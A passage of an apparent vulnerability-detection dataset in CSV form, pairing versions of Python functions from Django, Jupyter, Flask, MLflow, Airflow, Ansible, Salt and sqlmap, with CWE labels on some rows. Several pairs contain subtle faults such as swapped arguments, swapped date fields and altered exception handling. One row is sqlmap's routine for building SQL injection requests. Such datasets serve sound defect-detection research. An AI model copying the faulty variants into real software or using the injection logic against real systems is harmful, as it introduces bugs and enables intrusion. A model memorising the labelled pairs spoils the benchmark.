        field_info = {line[0]: InfoLine(*line) for line in cursor.fetchall()}

        cursor.execute(
            ""SELECT * FROM %s LIMIT 1"" % self.connection.ops.quote_name(table_name)
        )

        def to_int(i):
            return int(i) if i is not None else i

        fields = []
        for line in cursor.description:
            info = field_info[line[0]]
            fields.append(
                FieldInfo(
                    *line[:3],
                    to_int(info.max_len) or line[3],
                    to_int(info.num_prec) or line[4],
                    to_int(info.num_scale) or line[5],
                    line[6],
                    info.column_default,
                    info.collation,
                    info.extra,
                    info.is_unsigned,
                    line[0] in json_constraints,
                )
            )
        return fields"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/bundler/tests/test_bundler_api.py,0,"def setup_class(cls):
        """"""Make a test notebook. Borrowed from nbconvert test. Assumes the class
        teardown will clean it up in the end.""""""
        super(BundleAPITest, cls).setup_class()
        nbdir = cls.notebook_dir

        nb = new_notebook()

        nb.cells.append(new_markdown_cell(u'Created by test'))
        cc1 = new_code_cell(source=u'print(2*6)')
        cc1.outputs.append(new_output(output_type=""stream"", text=u'12'))
        nb.cells.append(cc1)
        
        with io.open(pjoin(nbdir, 'testnb.ipynb'), 'w',
                     encoding='utf-8') as f:
            write(nb, f, version=4)",,jupyter/notebook,4a16c37caae960e255bd3c3a5266306dd388ae75,"def setup_class(cls):
        """"""Make a test notebook. Borrowed from nbconvert test. Assumes the class
        teardown will clean it up in the end.""""""
        super(BundleAPITest, cls).setup_class()
        nbdir = cls.notebook_dir.name

        nb = new_notebook()

        nb.cells.append(new_markdown_cell(u'Created by test'))
        cc1 = new_code_cell(source=u'print(2*6)')
        cc1.outputs.append(new_output(output_type=""stream"", text=u'12'))
        nb.cells.append(cc1)
        
        with io.open(pjoin(nbdir, 'testnb.ipynb'), 'w',
                     encoding='utf-8') as f:
            write(nb, f, version=4)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/config.py,0,"def from_envvar(self, variable_name, silent=False):
        """"""Loads a configuration from an environment variable pointing to
        a configuration file.  This is basically just a shortcut with nicer
        error messages for this line of code::

            app.config.from_pyfile(os.environ['YOURAPPLICATION_SETTINGS'])

        :param variable_name: name of the environment variable
        :param silent: set to ``True`` if you want silent failure for missing
                       files.
        :return: bool. ``True`` if able to load config, ``False`` otherwise.
        """"""
        rv = os.environ.get(variable_name)
        if not rv:
            if silent:
                return False
            raise RuntimeError('The environment variable %r is not set '
                               'and as such configuration could not be '
                               'loaded.  Set this variable and make it '
                               'point to a configuration file' %
                               variable_name)
        return self.from_pyfile(rv, silent=silent)",,pallets/flask,6fcc2ae3f4536e4d2651c1a00abe2306212a5bfd,"def from_envvar(self, variable_name, silent=False):
        """"""Loads a configuration from an environment variable pointing to
        a configuration file.  This is basically just a shortcut with nicer
        error messages for this line of code::

            app.config.from_pyfile(os.environ['YOURAPPLICATION_SETTINGS'])

        :param variable_name: name of the environment variable
        :param silent: set to `True` if you want silent failure for missing
                       files.
        :return: bool. `True` if able to load config, `False` otherwise.
        """"""
        rv = os.environ.get(variable_name)
        if not rv:
            if silent:
                return False
            raise RuntimeError('The environment variable %r is not set '
                               'and as such configuration could not be '
                               'loaded.  Set this variable and make it '
                               'point to a configuration file' %
                               variable_name)
        return self.from_pyfile(rv, silent=silent)"
,UNKNOWN,UNKNOWN,tests/anthropic/test_anthropic_autolog.py,1,"def test_messages_autolog():
    with patch(""anthropic.resources.Messages.create"", new=create):
        mlflow.anthropic.autolog()
        client = anthropic.Anthropic(api_key=""test_key"")
        client.messages.create(**DUMMY_CREATE_MESSAGE_REQUEST)

    traces = get_traces()
    assert len(traces) == 1
    assert traces[0].info.status == ""OK""
    assert len(traces[0].data.spans) == 1
    span = traces[0].data.spans[0]
    assert span.name == ""Messages.create""
    assert span.span_type == SpanType.CHAT_MODEL
    assert span.inputs == DUMMY_CREATE_MESSAGE_REQUEST
    # Only keep input_tokens / output_tokens fields in usage dict.
    span.outputs[""usage""] = {
        key: span.outputs[""usage""][key] for key in [""input_tokens"", ""output_tokens""]
    }
    assert span.outputs == DUMMY_CREATE_MESSAGE_RESPONSE.to_dict()

    with patch(""anthropic.resources.Messages.create"", new=create):
        mlflow.anthropic.autolog(disable=True)
        client = anthropic.Anthropic(api_key=""test_key"")
        client.messages.create(**DUMMY_CREATE_MESSAGE_REQUEST)

    # No new trace should be created
    traces = get_traces()
    assert len(traces) == 1",CWE-703,mlflow/mlflow,f4ff7221d23a84a289f360fec81adddce46166c6,"def test_messages_autolog():
    with patch(""anthropic.resources.Messages.create"", new=create):
        mlflow.anthropic.autolog()
        client = anthropic.Anthropic(api_key=""test_key"")
        client.messages.create(**DUMMY_CREATE_MESSAGE_REQUEST)

    traces = get_traces()
    assert len(traces) == 1
    assert traces[0].info.status == ""OK""
    assert len(traces[0].data.spans) == 1
    span = traces[0].data.spans[0]
    assert span.name == ""Messages.create""
    assert span.span_type == SpanType.CHAT_MODEL
    assert span.inputs == DUMMY_CREATE_MESSAGE_REQUEST
    assert span.outputs == DUMMY_CREATE_MESSAGE_RESPONSE.to_dict()

    with patch(""anthropic.resources.Messages.create"", new=create):
        mlflow.anthropic.autolog(disable=True)
        client = anthropic.Anthropic(api_key=""test_key"")
        client.messages.create(**DUMMY_CREATE_MESSAGE_REQUEST)

    # No new trace should be created
    traces = get_traces()
    assert len(traces) == 1"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/sessions/tests/test_sessions_api.py,0,"def setUp(self):
        nbdir = self.notebook_dir.name
        try:
            os.mkdir(pjoin(nbdir, 'foo'))
        except OSError as e:
            # Deleting the folder in an earlier test may have failed
            if e.errno != errno.EEXIST:
                raise

        with io.open(pjoin(nbdir, 'foo', 'nb1.ipynb'), 'w',
                     encoding='utf-8') as f:
            nb = new_notebook()
            write(nb, f, version=4)

        self.sess_api = SessionAPI(self.base_url())",,jupyter/notebook,525f6a7561b4763db1e35ee4586aeb2397dbff66,"def setUp(self):
        nbdir = self.notebook_dir.name
        try:
            os.mkdir(pjoin(nbdir, 'foo'))
        except OSError as e:
            # Deleting the folder in an earlier test may have failed
            if e.errno != errno.EEXIST:
                raise

        with io.open(pjoin(nbdir, 'foo', 'nb1.ipynb'), 'w',
                     encoding='utf-8') as f:
            nb = new_notebook()
            write(f, nb, version=4)

        self.sess_api = SessionAPI(self.base_url())"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/agent.py,0,"def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
        """"""
        This method replaces the affected parameter with the SQL
        injection statement to request
        """"""

        if conf.direct:
            return self.payloadDirect(newValue)

        retVal = """"

        if where is None and isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

        if kb.injection.place is not None:
            place = kb.injection.place

        if kb.injection.parameter is not None:
            parameter = kb.injection.parameter

        paramString = conf.parameters[place]
        paramDict = conf.paramDict[place]
        origValue = paramDict[parameter]

        if place == PLACE.URI:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.rfind('/') + 1:]
            for char in ('?', '=', ':'):
                if char in origValue:
                    origValue = origValue[origValue.rfind(char) + 1:]
        elif place == PLACE.CUSTOM_POST:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                origValue = origValue.split('>')[-1]
            elif kb.postHint == POST_HINT.JSON:
                origValue = extractRegexResult(r""(?s)\""\s*:\s*(?P<result>\d+\Z)"", origValue) or extractRegexResult(r'(?s)(?P<result>[^""]+\Z)', origValue)
            else:
                _ = extractRegexResult(r""(?s)(?P<result>[^\s<>{}();'\""]+\Z)"", origValue) or """"
                origValue = _.split('=', 1)[1] if '=' in _ else """"
        elif place == PLACE.CUSTOM_HEADER:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.index(',') + 1:]

        if conf.prefix:
            value = origValue

        if value is None:
            if where == PAYLOAD.WHERE.ORIGINAL:
                value = origValue
            elif where == PAYLOAD.WHERE.NEGATIVE:
                if conf.invalidLogical:
                    match = re.search(r'\A[^ ]+', newValue)
                    newValue = newValue[len(match.group() if match else """"):]
                    _ = randomInt(2)
                    value = ""%s%s AND %s=%s"" % (origValue, match.group() if match else """", _, _ + 1)
                elif conf.invalidBignum:
                    value = ""%d.%d"" % (randomInt(6), randomInt(1))
                else:
                    if newValue.startswith(""-""):
                        value = """"
                    else:
                        value = ""-%s"" % randomInt()
            elif where == PAYLOAD.WHERE.REPLACE:
                value = """"
            else:
                value = origValue

            newValue = ""%s%s"" % (value, newValue)

        newValue = self.cleanupPayload(newValue, origValue)

        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
            _ = ""%s%s"" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '""%s""' % _ in paramString:
                newValue = '""%s""' % newValue
            newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
            retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, """").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
            retVal = re.sub(r""(\A|\b)%s=%s"" % (re.escape(parameter), re.escape(origValue)), ""%s=%s"" % (parameter, self.addPayloadDelimiters(newValue.replace(""\\"", ""\\\\""))), paramString)

        return retVal",,sqlmapproject/sqlmap,6c80f2903b82e2f16e03d2b6b3a5da97d9fee515,"def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
        """"""
        This method replaces the affected parameter with the SQL
        injection statement to request
        """"""

        if conf.direct:
            return self.payloadDirect(newValue)

        retVal = """"

        if where is None and isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

        if kb.injection.place is not None:
            place = kb.injection.place

        if kb.injection.parameter is not None:
            parameter = kb.injection.parameter

        paramString = conf.parameters[place]
        paramDict = conf.paramDict[place]
        origValue = paramDict[parameter]

        if place == PLACE.URI:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.rfind('/') + 1:]
            for char in ('?', '=', ':'):
                if char in origValue:
                    origValue = origValue[origValue.rfind(char) + 1:]
        elif place == PLACE.CUSTOM_POST:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                origValue = origValue.split('>')[-1]
            elif kb.postHint == POST_HINT.JSON:
                origValue = extractRegexResult(r""(?s)\""\s*:\s*(?P<result>\d+\Z)"", origValue) or extractRegexResult(r'(?s)(?P<result>[^""]+\Z)', origValue)
            else:
                _ = extractRegexResult(r""(?s)(?P<result>[^\s<>{}();'\""]+\Z)"", origValue) or """"
                origValue = _.split('=', 1)[1] if '=' in _ else """"
        elif place == PLACE.CUSTOM_HEADER:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.index(',') + 1:]

        if value is None:
            if where == PAYLOAD.WHERE.ORIGINAL:
                value = origValue
            elif where == PAYLOAD.WHERE.NEGATIVE:
                if conf.invalidLogical:
                    match = re.search(r'\A[^ ]+', newValue)
                    newValue = newValue[len(match.group() if match else """"):]
                    _ = randomInt(2)
                    value = ""%s%s AND %s=%s"" % (origValue, match.group() if match else """", _, _ + 1)
                elif conf.invalidBignum:
                    value = ""%d.%d"" % (randomInt(6), randomInt(1))
                else:
                    if newValue.startswith(""-""):
                        value = """"
                    else:
                        value = ""-%s"" % randomInt()
            elif where == PAYLOAD.WHERE.REPLACE:
                value = """"
            else:
                value = origValue

            newValue = ""%s%s"" % (value, newValue)

        newValue = self.cleanupPayload(newValue, origValue)

        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
            _ = ""%s%s"" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '""%s""' % _ in paramString:
                newValue = '""%s""' % newValue
            newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
            retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, """").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
            retVal = re.sub(r""(\A|\b)%s=%s"" % (re.escape(parameter), re.escape(origValue)), ""%s=%s"" % (parameter, self.addPayloadDelimiters(newValue.replace(""\\"", ""\\\\""))), paramString)

        return retVal"
,UNKNOWN,UNKNOWN,tests/integration/states/test_x509.py,1,"def test_cert_signing_based_on_csr(self):
        ret = self.run_function(
            ""state.apply"",
            [""x509.cert_signing_based_on_csr""],
            pillar={""tmp_dir"": RUNTIME_VARS.TMP},
        )
        key = ""x509_|-test_crt_|-{}/pki/test.crt_|-certificate_managed"".format(
            RUNTIME_VARS.TMP
        )
        assert key in ret
        assert ""changes"" in ret[key]
        assert ""Certificate"" in ret[key][""changes""]
        assert ""New"" in ret[key][""changes""][""Certificate""]",CWE-703,saltstack/salt,c8d697def137434292c008fe5722de1bee68284d,"def test_cert_signing_based_on_csr(self):
        ret = self.run_function(
            ""state.apply"",
            [""x509.cert_signing_based_on_csr""],
            pillar={""tmp_dir"": RUNTIME_VARS.TMP},
        )
        key = ""x509_|-test_crt_|-{}/pki/test.crt_|-certificate_managed"".format(
            RUNTIME_VARS.TMP
        )
        assert key in ret
        assert ""changes"" in ret[key]
        assert ""Certificate"" in ret[key][""changes""]
        assert ""New"" in ret[key][""changes""][""Certificate""]"
,UNKNOWN,UNKNOWN,tests/sklearn/test_sklearn_model_export.py,1,"def test_log_model_call_register_model_to_uc(configure_client_for_uc, sklearn_logreg_model):
    artifact_path = ""linear""
    mock_model_version = ModelVersion(
        name=""AdsModel1"",
        version=1,
        creation_timestamp=123,
        status=ModelVersionStatus.to_string(ModelVersionStatus.READY),
    )
    with (
        mock.patch.object(UcModelRegistryStore, ""create_registered_model""),
        mock.patch.object(
            UcModelRegistryStore,
            ""create_model_version"",
            return_value=mock_model_version,
            autospec=True,
        ) as mock_create_mv,
        TempDir(chdr=True, remove_on_exit=True) as tmp,
    ):
        with mlflow.start_run():
            conda_env = os.path.join(tmp.path(), ""conda_env.yaml"")
            _mlflow_conda_env(conda_env, additional_pip_deps=[""scikit-learn""])
            model_info = mlflow.sklearn.log_model(
                sklearn_logreg_model.model,
                artifact_path,
                conda_env=conda_env,
                registered_model_name=""AdsModel1"",
            )
            [(args, kwargs)] = mock_create_mv.call_args_list
            assert args[1:] == (""AdsModel1"", model_info.model_uri, None, [], None, None)
            assert kwargs[""local_model_path""].startswith(tempfile.gettempdir())",CWE-703,mlflow/mlflow,597154817df6e6dd7edf8fe73afb8e170b242b72,"def test_log_model_call_register_model_to_uc(configure_client_for_uc, sklearn_logreg_model):
    artifact_path = ""linear""
    mock_model_version = ModelVersion(
        name=""AdsModel1"",
        version=1,
        creation_timestamp=123,
        status=ModelVersionStatus.to_string(ModelVersionStatus.READY),
    )
    with (
        mock.patch.object(UcModelRegistryStore, ""create_registered_model""),
        mock.patch.object(
            UcModelRegistryStore,
            ""create_model_version"",
            return_value=mock_model_version,
            autospec=True,
        ) as mock_create_mv,
        TempDir(chdr=True, remove_on_exit=True) as tmp,
    ):
        with mlflow.start_run():
            conda_env = os.path.join(tmp.path(), ""conda_env.yaml"")
            _mlflow_conda_env(conda_env, additional_pip_deps=[""scikit-learn""])
            mlflow.sklearn.log_model(
                sklearn_logreg_model.model,
                artifact_path,
                conda_env=conda_env,
                registered_model_name=""AdsModel1"",
            )
            active_run = mlflow.active_run()
            run_id = active_run.info.run_id
            [(args, kwargs)] = mock_create_mv.call_args_list
            expected_source = os.path.join(active_run.info.artifact_uri, artifact_path)
            assert args[1:] == (""AdsModel1"", expected_source, run_id, [], None, None)
            assert kwargs[""local_model_path""].startswith(tempfile.gettempdir())"
,UNKNOWN,UNKNOWN,providers/openlineage/tests/unit/openlineage/plugins/test_listener.py,1,"def test_listener_logs_failed_serialization(self):
        listener = OpenLineageListener()
        callback_future = Future()

        def set_result(*args, **kwargs):
            callback_future.set_result(True)

        listener.log = MagicMock()
        listener.log.warning = MagicMock(side_effect=set_result)
        listener.adapter = OpenLineageAdapter(
            client=OpenLineageClient(transport=ConsoleTransport(config=ConsoleConfig()))
        )
        event_time = timezone.utcnow()
        fut = listener.submit_callable(
            listener.adapter.dag_failed,
            dag_id="""",
            run_id="""",
            end_date=event_time,
            logical_date=callback_future,
            clear_number=0,
            dag_run_state=DagRunState.FAILED,
            task_ids=[""task_id""],
            msg="""",
        )
        assert fut.exception(10)
        callback_future.result(10)
        assert callback_future.done()
        listener.log.debug.assert_not_called()
        listener.log.warning.assert_called_once()",CWE-703,apache/airflow,efc239c5397b693184167e0f8f510c77c48ed735,"def test_listener_logs_failed_serialization(self):
        listener = OpenLineageListener()
        callback_future = Future()

        def set_result(*args, **kwargs):
            callback_future.set_result(True)

        listener.log = MagicMock()
        listener.log.warning = MagicMock(side_effect=set_result)
        listener.adapter = OpenLineageAdapter(
            client=OpenLineageClient(transport=ConsoleTransport(config=ConsoleConfig()))
        )
        event_time = timezone.utcnow()
        fut = listener.submit_callable(
            listener.adapter.dag_failed,
            dag_id="""",
            run_id="""",
            end_date=event_time,
            logical_date=callback_future,
            clear_number=0,
            dag_run_state=DagRunState.FAILED,
            task_ids=[""task_id""],
            msg="""",
        )
        assert fut.exception(10)
        callback_future.result(10)
        assert callback_future.done()
        listener.log.debug.assert_not_called()
        listener.log.warning.assert_called_once()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/databricks_utils.py,0,"def wrapper(*args, **kwargs):
            try:
                from dbruntime.databricks_repl_context import get_context

                context = get_context()
                if context is not None and hasattr(context, name):
                    return getattr(context, name)
            except Exception:
                pass
            return f(*args, **kwargs)",,mlflow/mlflow,c0986696e6f65eb4a15ed740e6d328949b5acddb,"def wrapper(*args, **kwargs):
            try:
                from dbruntime.databricks_repl_context import get_context

                context = get_context()
                if context is not None and hasattr(context, name):
                    return getattr(context, name)
            except Exception:
                return f(*args, **kwargs)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/admin/options.py,0,"def to_field_allowed(self, request, to_field):
        opts = self.model._meta

        try:
            field = opts.get_field(to_field)
        except FieldDoesNotExist:
            return False

        # Make sure at least one of the models registered for this site
        # references this field through a FK or a M2M relationship.
        registered_models = self.admin_site._registry
        for related_object in (opts.get_all_related_objects() +
                               opts.get_all_related_many_to_many_objects()):
            related_model = related_object.model
            if (any(issubclass(model, related_model) for model in registered_models) and
                    related_object.field.rel.get_related_field() == field):
                return True

        return False",CWE-Unknown,django/django,4c96bd8fb31d2325112ba92ed3cbdc3ff1bbfabc,"def to_field_allowed(self, request, to_field):
        opts = self.model._meta

        try:
            field = opts.get_field(to_field)
        except FieldDoesNotExist:
            return False

        # Make sure at least one of the models registered for this site
        # references this field.
        registered_models = self.admin_site._registry
        for related_object in opts.get_all_related_objects():
            if (related_object.model in registered_models and
                    field == related_object.field.rel.get_related_field()):
                return True

        return False"
,UNKNOWN,UNKNOWN,tests/api_experimental/client/test_local_client.py,1,"def test_trigger_dag(self, mock):
        test_dag_id = ""example_bash_operator""
        run_id = DagRun.generate_run_id(DagRunType.MANUAL, EXECDATE_NOFRACTIONS)

        DagBag(include_examples=True)

        # non existent
        with pytest.raises(AirflowException):
            self.client.trigger_dag(dag_id=""blablabla"")

        dag_model = DagModel.get_current(test_dag_id)
        dagbag = DagBag(dag_folder=dag_model.fileloc, read_dags_from_db=True)
        dag = dagbag.get_dag(test_dag_id)
        expected_dag_hash = dagbag.dags_hash.get(test_dag_id)
        expected_data_interval = dag.timetable.infer_manual_data_interval(
            run_after=pendulum.instance(EXECDATE_NOFRACTIONS)
        )

        with time_machine.travel(EXECDATE, tick=False):
            # no execution date, execution date should be set automatically

            self.client.trigger_dag(dag_id=test_dag_id)
            mock.assert_called_once_with(
                run_id=run_id,
                execution_date=EXECDATE_NOFRACTIONS,
                state=DagRunState.QUEUED,
                conf=None,
                external_trigger=True,
                dag_hash=expected_dag_hash,
                data_interval=expected_data_interval,
            )
            mock.reset_mock()

            # execution date with microseconds cutoff
            self.client.trigger_dag(dag_id=test_dag_id, execution_date=EXECDATE)
            mock.assert_called_once_with(
                run_id=run_id,
                execution_date=EXECDATE_NOFRACTIONS,
                state=DagRunState.QUEUED,
                conf=None,
                external_trigger=True,
                dag_hash=expected_dag_hash,
                data_interval=expected_data_interval,
            )
            mock.reset_mock()

            # run id
            custom_run_id = ""my_run_id""
            self.client.trigger_dag(dag_id=test_dag_id, run_id=custom_run_id)
            mock.assert_called_once_with(
                run_id=custom_run_id,
                execution_date=EXECDATE_NOFRACTIONS,
                state=DagRunState.QUEUED,
                conf=None,
                external_trigger=True,
                dag_hash=expected_dag_hash,
                data_interval=expected_data_interval,
            )
            mock.reset_mock()

            # test conf
            conf = '{""name"": ""John""}'
            self.client.trigger_dag(dag_id=test_dag_id, conf=conf)
            mock.assert_called_once_with(
                run_id=run_id,
                execution_date=EXECDATE_NOFRACTIONS,
                state=DagRunState.QUEUED,
                conf=json.loads(conf),
                external_trigger=True,
                dag_hash=expected_dag_hash,
                data_interval=expected_data_interval,
            )
            mock.reset_mock()

            # test output
            queued_at = pendulum.now()
            started_at = pendulum.now()
            mock.return_value = DagRun(
                dag_id=test_dag_id,
                run_id=run_id,
                queued_at=queued_at,
                execution_date=EXECDATE,
                start_date=started_at,
                external_trigger=True,
                state=DagRunState.QUEUED,
                conf={},
                run_type=DagRunType.MANUAL,
                data_interval=(EXECDATE, EXECDATE + pendulum.duration(hours=1)),
            )
            expected_dag_run = {
                ""conf"": {},
                ""dag_id"": test_dag_id,
                ""dag_run_id"": run_id,
                ""data_interval_start"": EXECDATE,
                ""data_interval_end"": EXECDATE + pendulum.duration(hours=1),
                ""end_date"": None,
                ""external_trigger"": True,
                ""last_scheduling_decision"": None,
                ""logical_date"": EXECDATE,
                ""run_type"": DagRunType.MANUAL,
                ""start_date"": started_at,
                ""state"": DagRunState.QUEUED,
            }
            dag_run = self.client.trigger_dag(dag_id=test_dag_id)
            assert expected_dag_run == dag_run
            mock.reset_mock()

            # test output when no DagRun is created
            mock.return_value = None
            dag_run = self.client.trigger_dag(dag_id=test_dag_id)
            assert not dag_run
            mock.reset_mock()",CWE-703,apache/airflow,04a6e850e7d4437fe93a60d713c1d82e8f23885f,"def test_trigger_dag(self, mock):
        test_dag_id = ""example_bash_operator""
        run_id = DagRun.generate_run_id(DagRunType.MANUAL, EXECDATE_NOFRACTIONS)

        DagBag(include_examples=True)

        # non existent
        with pytest.raises(AirflowException):
            self.client.trigger_dag(dag_id=""blablabla"")

        dag_model = DagModel.get_current(test_dag_id)
        dagbag = DagBag(dag_folder=dag_model.fileloc, read_dags_from_db=True)
        dag = dagbag.get_dag(test_dag_id)
        expected_dag_hash = dagbag.dags_hash.get(test_dag_id)
        expected_data_interval = dag.timetable.infer_manual_data_interval(
            run_after=pendulum.instance(EXECDATE_NOFRACTIONS)
        )

        with time_machine.travel(EXECDATE, tick=False):
            # no execution date, execution date should be set automatically

            self.client.trigger_dag(dag_id=test_dag_id)
            mock.assert_called_once_with(
                run_id=run_id,
                execution_date=EXECDATE_NOFRACTIONS,
                state=DagRunState.QUEUED,
                conf=None,
                external_trigger=True,
                dag_hash=expected_dag_hash,
                data_interval=expected_data_interval,
            )
            mock.reset_mock()

            # execution date with microseconds cutoff
            self.client.trigger_dag(dag_id=test_dag_id, execution_date=EXECDATE)
            mock.assert_called_once_with(
                run_id=run_id,
                execution_date=EXECDATE_NOFRACTIONS,
                state=DagRunState.QUEUED,
                conf=None,
                external_trigger=True,
                dag_hash=expected_dag_hash,
                data_interval=expected_data_interval,
            )
            mock.reset_mock()

            # run id
            custom_run_id = ""my_run_id""
            self.client.trigger_dag(dag_id=test_dag_id, run_id=custom_run_id)
            mock.assert_called_once_with(
                run_id=custom_run_id,
                execution_date=EXECDATE_NOFRACTIONS,
                state=DagRunState.QUEUED,
                conf=None,
                external_trigger=True,
                dag_hash=expected_dag_hash,
                data_interval=expected_data_interval,
            )
            mock.reset_mock()

            # test conf
            conf = '{""name"": ""John""}'
            self.client.trigger_dag(dag_id=test_dag_id, conf=conf)
            mock.assert_called_once_with(
                run_id=run_id,
                execution_date=EXECDATE_NOFRACTIONS,
                state=DagRunState.QUEUED,
                conf=json.loads(conf),
                external_trigger=True,
                dag_hash=expected_dag_hash,
                data_interval=expected_data_interval,
            )
            mock.reset_mock()

            # test output
            queued_at = pendulum.now()
            started_at = pendulum.now()
            mock.return_value = DagRun(
                dag_id=test_dag_id,
                run_id=run_id,
                queued_at=queued_at,
                execution_date=EXECDATE,
                start_date=started_at,
                external_trigger=True,
                state=DagRunState.QUEUED,
                conf={},
                run_type=DagRunType.MANUAL,
                data_interval=(EXECDATE, EXECDATE + pendulum.duration(hours=1)),
            )
            expected_dag_run = {
                ""conf"": {},
                ""dag_id"": test_dag_id,
                ""dag_run_id"": run_id,
                ""data_interval_end"": EXECDATE,
                ""data_interval_start"": EXECDATE + pendulum.duration(hours=1),
                ""end_date"": None,
                ""external_trigger"": True,
                ""last_scheduling_decision"": None,
                ""logical_date"": EXECDATE,
                ""run_type"": DagRunType.MANUAL,
                ""start_date"": started_at,
                ""state"": DagRunState.QUEUED,
            }
            dag_run = self.client.trigger_dag(dag_id=test_dag_id)
            assert expected_dag_run == dag_run
            mock.reset_mock()

            # test output when no DagRun is created
            mock.return_value = None
            dag_run = self.client.trigger_dag(dag_id=test_dag_id)
            assert not dag_run
            mock.reset_mock()"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/connection/paramiko_ssh.py,0,"def _connect_uncached(self):
        ''' activates the connection object '''

        if not HAVE_PARAMIKO:
            raise AnsibleError(""paramiko is not installed"")

        port = self._play_context.port or 22
        self._display.vvv(""ESTABLISH CONNECTION FOR USER: %s on PORT %s TO %s"" % (self._play_context.remote_user, port, self._play_context.remote_addr), host=self._play_context.remote_addr)

        ssh = paramiko.SSHClient()

        self.keyfile = os.path.expanduser(""~/.ssh/known_hosts"")

        if C.HOST_KEY_CHECKING:
            try:
                #TODO: check if we need to look at several possible locations, possible for loop
                ssh.load_system_host_keys(""/etc/ssh/ssh_known_hosts"")
            except IOError:
                pass # file was not found, but not required to function
            ssh.load_system_host_keys()

        ssh.set_missing_host_key_policy(MyAddPolicy(self._new_stdin, self))

        allow_agent = True

        if self._play_context.password is not None:
            allow_agent = False

        try:
            key_filename = None
            if self._play_context.private_key_file:
                key_filename = os.path.expanduser(self._play_context.private_key_file)

            ssh.connect(
                self._play_context.remote_addr,
                username=self._play_context.remote_user,
                allow_agent=allow_agent,
                look_for_keys=True,
                key_filename=key_filename,
                password=self._play_context.password,
                timeout=self._play_context.timeout,
                port=port,
            )
        except Exception as e:
            msg = str(e)
            if ""PID check failed"" in msg:
                raise AnsibleError(""paramiko version issue, please upgrade paramiko on the machine running ansible"")
            elif ""Private key file is encrypted"" in msg:
                msg = 'ssh %s@%s:%s : %s\nTo connect as a different user, use -u <username>.' % (
                    self._play_context.remote_user, self._play_context.remote_addr, port, msg)
                raise AnsibleConnectionFailure(msg)
            else:
                raise AnsibleConnectionFailure(msg)

        return ssh",,ansible/ansible,a1428d6bed4517383549dbd14b99653462d4aefb,"def _connect_uncached(self):
        ''' activates the connection object '''

        if not HAVE_PARAMIKO:
            raise AnsibleError(""paramiko is not installed"")

        port = self._play_context.port or 22
        self._display.vvv(""ESTABLISH CONNECTION FOR USER: %s on PORT %s TO %s"" % (self._play_context.remote_user, port, self._play_context.remote_addr), host=self._play_context.remote_addr)

        ssh = paramiko.SSHClient()

        self.keyfile = os.path.expanduser(""~/.ssh/known_hosts"")

        if C.HOST_KEY_CHECKING:
            try:
                #TODO: check if we need to look at several possible locations, possible for loop
                ssh.load_system_host_keys(""/etc/ssh/ssh_known_hosts"")
            except IOError:
                pass # file was not found, but not required to function
            ssh.load_system_host_keys()

        ssh.set_missing_host_key_policy(MyAddPolicy(self._new_stdin, self))

        allow_agent = True

        if self._play_context.password is not None:
            allow_agent = False

        try:
            key_filename = None
            if self._play_context.private_key_file:
                key_filename = os.path.expanduser(self._play_context.private_key_file)

            ssh.connect(
                self._play_context.remote_addr,
                username=self._play_context.remote_user,
                allow_agent=allow_agent,
                look_for_keys=True,
                key_filename=key_filename,
                password=self._play_context.password,
                timeout=self._play_context.timeout,
                port=port,
            )
        except Exception as e:
            msg = str(e)
            if ""PID check failed"" in msg:
                raise AnsibleError(""paramiko version issue, please upgrade paramiko on the machine running ansible"")
            elif ""Private key file is encrypted"" in msg:
                msg = 'ssh %s@%s:%s : %s\nTo connect as a different user, use -u <username>.' % (
                    self._play_context.remote_user, self._play_context.remote_addr, port, msg)
                raise AnsibleConnectionFailure(msg)
            else:
                raise AnsibleConnectionFailure(msg)

        return ssh"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/grains/core.py,0,"def _bsd_cpudata(osdata):
    '''
    Return CPU information for BSD-like systems
    '''
    # Provides:
    #   cpuarch
